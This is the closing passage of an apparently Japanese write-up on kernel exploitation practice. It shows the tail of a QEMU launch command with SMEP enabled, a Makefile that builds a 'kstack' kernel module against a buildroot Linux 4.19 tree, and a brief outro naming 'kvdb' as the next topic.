283 -kernel ~/buildroot-2020.02.5/output/images/bzImage \
284 -initrd ./myrootfs.cpio \
285 -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
286 -cpu kvm64,+smep \
287 -net user -net nic -device e1000 \
288 -monitor /dev/null \
289 -nographic
290# Makefile
291obj-m += kstack.o
292all:
293 make -C /home/wataru/buildroot-2020.02.5/output/build/linux-4.19.91/ M=$(PWD) modules
294 EXTRA_CFLAGS="-g DDEBUG"
295clean:
296 make -C /home/wataru/buildroot-2020.02.5/output/build/linux-4.19.91/ M=$(PWD) clean
297****/
アウトロ
次は kvdb でもやろうかな